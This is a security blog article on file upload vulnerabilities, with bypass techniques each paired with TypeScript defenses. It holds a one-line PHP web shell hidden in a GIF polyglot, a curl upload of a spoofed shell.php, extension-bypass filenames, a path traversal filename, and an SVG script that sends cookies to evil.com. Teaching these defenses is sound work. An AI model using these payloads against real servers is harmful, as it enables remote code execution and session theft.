File Upload Vulnerabilities: Bypass Techniques & Bulletproof Defenses

SCRs Team
February 23, 2026
14 min read
262 words
Share

Why File Uploads Are the Most Dangerous Feature

File upload is one of the most exploited web application features. A successful upload bypass can lead to Remote Code Execution (RCE) — giving an attacker full control of your server.

Upload AttackImpact
Web shell uploadFull server compromise
Stored XSS via SVG/HTMLAccount hijacking
Server-Side Request Forgery via SVGInternal network access
Path traversal in filenameOverwrite critical files
Zip bomb / decompression bombDenial of service
Polyglot files (GIFAR)Bypass content-type checks

Bypass Technique 1: Extension Manipulation

# Server blocks .php — try these:
shell.php.jpg          # Double extension
shell.php%00.jpg       # Null byte (older systems)
shell.pHp              # Case variation
shell.php5             # Alternative extension
shell.phtml            # Alternative extension
shell.php.            # Trailing dot (Windows)
shell.php::$DATA       # NTFS alternate data stream (Windows)
shell.php%0a           # Newline character
shell.p.h.p            # Dot insertion

Defense: Allowlist Extensions + Generate New Filenames

import path from 'path';
import crypto from 'crypto';

const ALLOWED_EXTENSIONS = new Set(['.jpg', '.jpeg', '.png', '.gif', '.webp', '.pdf']);

function validateAndRename(originalName: string): string {
  // Normalize and get extension
  const ext = path.extname(originalName).toLowerCase();
  
  // ✅ Strict allowlist
  if (!ALLOWED_EXTENSIONS.has(ext)) {
    throw new Error('File type not allowed');
  }
  
  // ✅ Generate new random filename (never use original name)
  const newName = crypto.randomUUID() + ext;
  return newName;
}

Bypass Technique 2: Content-Type Spoofing

# Server checks Content-Type header — but it's client-controlled!
curl -X POST https://target.com/upload \
  -F "file=@shell.php;type=image/jpeg"
  
# Burp Suite: Intercept upload, change Content-Type to image/jpeg

Defense: Verify Magic Bytes (File Signature)

import { fileTypeFromBuffer } from 'file-type';

async function validateFileContent(buffer: Buffer): Promise<string> {
  const type = await fileTypeFromBuffer(buffer);
  
  if (!type) throw new Error('Unknown file type');
  
  const ALLOWED_MIMES = new Set([
    'image/jpeg', 'image/png', 'image/gif', 'image/webp', 'application/pdf'
  ]);
  
  if (!ALLOWED_MIMES.has(type.mime)) {
    throw new Error(\`File type ${type.mime} not allowed\`);
  }
  
  return type.ext;
}

Bypass Technique 3: Polyglot Files

A polyglot file is valid as multiple file types simultaneously. A GIFAR is both a valid GIF and a valid JAR.

# Create a GIF that's also valid PHP
# GIF magic bytes: GIF89a
echo -e 'GIF89a\n<?php system($_GET["cmd"]); ?>' > polyglot.gif

# The file passes image validation but executes as PHP if served with .php extension

Defense: Re-encode Images

import sharp from 'sharp';

async function sanitizeImage(buffer: Buffer): Promise<Buffer> {
  // ✅ Re-encoding strips any embedded code
  return sharp(buffer)
    .jpeg({ quality: 90 })  // Force re-encode as JPEG
    .toBuffer();
  // The output is a clean JPEG — no embedded PHP, no XSS, no metadata
}

Bypass Technique 4: SVG XSS

SVG files are XML that can contain JavaScript:

<!-- malicious.svg — Stored XSS when rendered in browser -->
<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    fetch('https://evil.com/steal?c=' + document.cookie)
  </script>
</svg>

Defense: Strip SVG Scripts or Block SVGs Entirely

// Option 1: Block SVG uploads entirely (recommended)
// Option 2: Serve with Content-Type: image/svg+xml AND
//   Content-Security-Policy: script-src 'none'
//   Content-Disposition: attachment (force download, no render)

Bypass Technique 5: Path Traversal in Filename

# Filename: ../../../etc/cron.d/backdoor
# If the server uses the original filename without sanitization,
# the file could be written to a dangerous location

Defense: Strip Path Components

function sanitizeFilename(filename: string): string {
  // Remove path components
  const base = path.basename(filename);
  // Remove special characters
  const clean = base.replace(/[^a-zA-Z0-9._-]/g, '');
  // Better: don't use original filename at all
  return crypto.randomUUID() + path.extname(clean).toLowerCase();
}

Complete Secure Upload Implementation

import multer from 'multer';
import sharp from 'sharp';
import { fileTypeFromBuffer } from 'file-type';
import crypto from 'crypto';
import { S3Client, PutObjectCommand } from '@aws-sdk/client-s3';

const ALLOWED_TYPES = new Map([
  ['image/jpeg', '.jpg'],
  ['image/png', '.png'],
  ['image/webp', '.webp'],
  ['application/pdf', '.pdf'],
]);

const MAX_FILE_SIZE = 10 * 1024 * 1024; // 10MB

const upload = multer({
  storage: multer.memoryStorage(),
  limits: { fileSize: MAX_FILE_SIZE, files: 1 },
});

app.post('/upload', upload.single('file'), async (req, res) => {
  if (!req.file) return res.status(400).json({ error: 'No file' });
  
  let buffer = req.file.buffer;
  
  // Step 1: Verify magic bytes
  const type = await fileTypeFromBuffer(buffer);
  if (!type || !ALLOWED_TYPES.has(type.mime)) {
    return res.status(400).json({ error: 'File type not allowed' });
  }
  
  // Step 2: Re-encode images (strips embedded code)
  if (type.mime.startsWith('image/')) {
    buffer = await sharp(buffer)
      .resize(2000, 2000, { fit: 'inside', withoutEnlargement: true })
      .jpeg({ quality: 85 })
      .toBuffer();
  }
  
  // Step 3: Generate random filename
  const filename = crypto.randomUUID() + '.jpg';
  
  // Step 4: Upload to separate domain/bucket
  await s3.send(new PutObjectCommand({
    Bucket: process.env.UPLOAD_BUCKET,
    Key: \`uploads/${filename}\`,
    Body: buffer,
    ContentType: 'image/jpeg',
    ContentDisposition: 'inline',
  }));
  
  // Step 5: Return CDN URL (separate from app domain)
  const url = \`https://cdn.myapp.com/uploads/${filename}\`;
  res.json({ url });
});

Upload Security Checklist

  • Allowlist file extensions (never blocklist)
  • Verify magic bytes with file-type library
  • Re-encode images with sharp/ImageMagick (strips payloads)
  • Generate random filenames (never use originals)
  • Store uploads on separate domain/CDN (prevents cookie access)
  • Set Content-Disposition and correct Content-Type headers
  • Size limits enforced server-side
  • Virus scanning for non-image uploads (ClamAV)
  • No execution permissions on upload directory
  • Rate limiting on upload endpoints
Editorial standards

Published by SecureCodeReviews

This article is part of our original AI security and cybersecurity content library. We show publish and update dates, keep company and policy pages public, and update important guidance when material changes affect readers.

Named author: SCRs Team
Published: Feb 23, 2026
Update status: current publication version

Questions or corrections?

Review our editorial standards, learn more about the company, or contact us if a page needs clarification.

Secure Code Review

Want an expert review before this issue reaches production?

We combine manual code review with AppSec tooling to find vulnerabilities, logic flaws, and insecure patterns before release or audit deadlines.

Manual secure code review for real exploitable issues
Remediation guidance with clear engineering next steps
Useful for launch reviews, client audits, and security hardening

Talk to SecureCodeReviews

Get a scoped review path fast

Manual review
Actionable fixes
Fast turnaround
Security-focused

Advertisement